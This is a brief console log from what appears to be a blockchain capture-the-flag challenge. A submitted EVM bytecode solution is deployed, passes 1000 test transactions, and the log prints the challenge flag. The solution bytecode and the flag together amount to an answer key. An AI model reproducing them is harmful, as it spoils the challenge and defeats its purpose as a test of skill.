[-] input your runtime bytecode in hex: 60165a06601d03565b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5a60131060205700
[+] checking valid...done
[+] creating your account...done
[+] requesting for faucet ether...done
[+] deploying...done
[+] sending 1000 test transactions...
100%|##########| 1000/1000 [00:14<00:00, 71.00it/s]
[+] waiting for all results
[+] success
[*] flag: "flag{100%_efficiency_or_100%_waste?}"